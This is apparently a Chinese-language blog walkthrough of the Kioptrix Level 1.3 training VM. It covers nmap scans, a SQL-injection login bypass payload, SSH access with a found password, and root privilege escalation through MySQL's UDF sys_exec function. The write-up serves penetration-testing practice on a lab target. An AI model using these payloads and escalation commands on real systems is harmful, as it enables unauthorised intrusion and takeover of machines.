KIOPTRIX: LEVEL 1.3 (#4)
部署
这个靶机有点特殊,需要新创建一个空的虚拟机,移除现在的硬盘,用靶机替换。
信息收集
打开靶场之后,同样的扫c段拿到靶机的地址。
nmap 192.168.100.0/24 -n -sP -sn
192.168.100.153
然后扫端口
nmap -A 192.168.100.153
22,80,139,445
漏洞利用-sql
感觉有永恒之蓝,不过还是先照例访问一下80端口
一个登陆框,先扫一下目录,用下万能密码
万能密码
admin' or 1=1#
登陆之后说你的账户有问题,请联系本地administrator进行处理问题。
笑死,还发现一个反射型xss,不过万能密码这条路行不通了,扫目录发现这么个东西
也是有什么东西出错了
这里卡了半天,搜了下才知道要注意url,john,也就是指的这个用户为john我们需要先把admin的cookie清除掉,随后用万能密码登录john。
这样就可以去试试登录ssh了
ssh john@192.168.100.153
MyNameIsJohn
但是没办法执行命令,于是百度了一下。
这里需要生成一个tty
如何将简单的Shell转换成为完全交互式的TTY - 码农教程 (manongjc.com)
又学到了。
提权
随后就是拿root权限
通过lsb_release -a
拿到版本信息,然后在exp的网站上面找一个提权脚本下载下来。
但是我发现脚本怎么都传不过去啊。
我觉得是这个tty的问题,我发执行长期返回的命令。
所以,求助了一下攻略,这里使用的是mysqludf提权
cd /var/www/
cat checklogin.php
可以看到root用户是空密码
我们可以通过mysql服务登录root账户
mysql -u root -p
查询UDF表,有sys_exec函数,可以利用这个函数执行系统命令。通过sys_exec函数将john添加到管理员组。
select sys_exec('usermod -a -G admin john');
exit
sudo su
拿下
总结
提权并不能完全依赖系统的提权脚本,也可以通过其他手段,比如最常见的mysqludf提权。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。